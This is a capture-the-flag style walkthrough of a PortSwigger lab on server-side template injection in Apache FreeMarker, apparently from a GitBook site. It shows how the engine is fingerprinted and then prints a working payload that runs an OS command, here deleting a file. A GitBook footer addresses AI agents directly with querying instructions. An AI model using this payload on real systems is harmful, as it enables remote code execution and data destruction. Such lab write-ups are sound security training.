> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-3.md).

# lab-3

## Server-Side Template Injection Using Documentation

**Difficulty:** Practitioner

### Lab Description

This lab is vulnerable to server-side template injection. The template engine is unknown up front.

**Objective:** Identify the template engine, use its documentation to work out how to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.

**Credentials:** `content-manager:C0nt3ntM4n4g3r`

### Solution

**Step 1 — Reconnaissance**

There's no information about which template engine the backend uses, so the first task is finding a vulnerable parameter. The lab provides a `content-manager` account — log in with it. Each product page displays a line like:

```
Hurry! Only ... left of Potato Theater at $....
```

This dynamically generated text is a good candidate for injection.

**Step 2 — Locate the editable template**

After logging in, there's no visible email set on the account. Updating the email unlocks the ability to edit/update the page template for each product. Opening the template editor reveals:

```html
<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>
```

The `${...}` syntax is characteristic of a **Java-based** template engine.

**Step 3 — Fingerprint the exact engine**

Testing:

```
${ctx.getVariableNames()}
```

triggers an error that gives two useful pieces of information: it confirms the engine is **Apache FreeMarker**, and it reveals that `ctx` isn't a valid object within FreeMarker's default data model.

**Step 4 — Exploit to delete the file**

With FreeMarker confirmed, use its documented `Execute` utility class to run an OS command:

```freemarker
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```

Save/submit this as the product template to trigger execution and delete the file.

### Conclusion

With no engine specified, careful fingerprinting — using syntax artifacts and induced error messages — was enough to identify Apache FreeMarker and reach its documented code-execution utility class.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-3.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
